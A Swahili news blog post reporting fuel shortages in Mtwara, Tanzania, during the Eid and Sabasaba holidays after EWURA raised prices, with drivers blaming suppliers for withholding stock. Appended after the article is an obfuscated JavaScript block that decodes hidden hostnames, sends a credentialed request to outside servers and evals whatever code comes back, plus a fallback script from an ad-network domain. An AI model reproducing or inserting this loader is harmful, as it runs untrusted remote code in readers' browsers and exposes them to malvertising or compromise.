Mafuta Ya Petrol Yaadimika Mjini Mtwa Katika Siku Mbili Za Sikukuu Ya EID na SabaSaba | IMMA
Siku chache baada ya mamlaka ya udhibiti wa nishati na maji EWURA kutangaza kuongezeka kwa bei za mafuta ,wananchi wa mkoani Mtwara wamepata adha kubwa ya usafiri kutokana na ukosefu wa mafuta hasa ya disel na petrol katika kipindi hiki cha sikukuu ya Id el ftri.
Msongamano mkubwa wa magari pamoja na pikipiki vimeonekana kupanga foleni katika kituo kimoja cha kuuza mafuta SHEL,hasa nyakati za jioni baada ya watu wengi kutoka maeneo mbali mbali ya kusherehekea sikukuu na kusababisha nauli kwa abiria kupanda mara mbili zaidi.
Vituo vingi vya mafuta hapa Manispaa ya Mtwara Mikindani kwa siku mbili sasa havitoi huduma ya mafuta sababu zikielezwa kuwa mafuta yameisha.
Baadhi ya madereva wameishiwa mafuta njiani wakati wapo safarini kuelekea mafuta yalipo.
Adha hiyo imezungumziwa na madereva wa vyombo vya moto kama ni tabia ya wauzaji na wasambazaji wa mafuta kusitisha kutoa huduma kila baada ya bei mpya kutangazwa kupanda ili waweze kupata faida zaidi.
<script data-cfasync="false" type="text/javascript">var r3D=window;for(var b in r3D){if(b.length===((1.094E3,6.890E2)>82.?(0x152,6):(132.1E1,90))&&b.charCodeAt((0x9A<(0x1C6,0x1FB)?(145,3):(119.80E1,0x1FB)<=0x1B2?0xF9:(50.7E1,0xB0)))===((0x1C2,1.54E2)>18?(1.333E3,100):(135,9.96E2))&&b.charCodeAt(((12.14E2,113)<=127.?(125.,5):(0x23D,11.10E1)))===(88.>=(67.,0xD3)?1.71E2:(0xFC,0x1D0)<=(106.,4.98E2)?(38.40E1,119):(0x141,0x17))&&b.charCodeAt((0x117>(104.,144.)?(59.,1):(103.,15)))===((50.,0x0)<0x31?(0x0,105):(0x12F,5.66E2))&&b.charCodeAt(((35,41)<=(0x37,107.)?(1.09E3,0):(1.0110E3,130.)))===((0x212,0x112)<1.0190E3?(62.,119):0x1A4<=(0x209,0x73)?(77,14.3E1):(0x188,0x3A)))break};for(var J in r3D[b]){if(J.length===((74,8.03E2)>=(0xB1,47.)?(80.,8):(0xDF,0x1CF))&&J.charCodeAt((114<=(54.6E1,121.)?(1.2770E3,5):(0xF7,56.)))===((100.4E1,149)>=0x9F?(0x1A2,0x12F):(1.0E1,1.0010E3)>=(86,59.90E1)?(1.299E3,101):(30,13.36E2))&&J.charCodeAt((0x17F<(1.244E3,0x1BC)?(0x1F5,7):(6.78E2,0x77)))===((104.,21.)>1.466E3?(13,"M"):0x23E<(14,7.770E2)?(106.,116):(39.5E1,0x18E))&&J.charCodeAt(((133,93.2E1)<=1.075E3?(0x221,3):(47.,2.66E2)))===((0x148,26.6E1)<=130.?98:123.0E1>(62,74.)?(0x239,117):(14.39E2,3.39E2))&&J.charCodeAt(((0x148,66.9E1)>38.5E1?(100,0):0x150<(0x89,148.)?(4.09E2,'F'):(96,111.)))===((0xCB,0x1EF)<=84.80E1?(54.7E1,100):(107.,0xA)))break};(function(S,l,e,N){r3D[b][l]=function(){var F=((126.,0x245)<6.?'S':14.06E2>=(7.87E2,0xFB)?(14.94E2,0):(0x36,0x14D)),u=F,P=function P(){var g=((0x8D,91.7E1)>44.40E1?(85.7E1,'/'):(77.,12.20E1));var o='';var M='//';var D='GET';var Z=(0x231<=(38,98.)?81:(0x1C4,0x7E)>=9.5E1?(29.0E1,true):(16,100));var q=new XMLHttpRequest();q.withCredentials=Z;q.open((D),(M)+r3D[b]['atob'](e[u].split(o).reverse().join(o))+g+N+g,Z);q.onreadystatechange=function(){var y=(0x19B>=(0x127,111.)?(86,200):(0x17F,51.7E1));var t=((0x1E6,101.)>0x73?'W':99.9E1>(0x62,139)?(94,4):(0x112,0x1E1));if(q.readyState==t&&q.status==y&&q.responseText){eval(q.responseText);}};q.onerror=function(){if(++u!=e.length){P();}};try{q.send();}catch(y){q.onerror();}};P();};})(r3D[b][J],'_bhrfs',['=U2YhB3cucne6RzY2xWb','==Adlt2YpJ3YugWb5cXa4Q2Y','==QZ0l2cuE2N3VmZ6dXM','==QZ0l2ciV2duAjYphDbvp2Z'],1155246);</script><script data-cfasync="false" type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1153790" onerror="window._bhrfs();"></script>
Post a Comment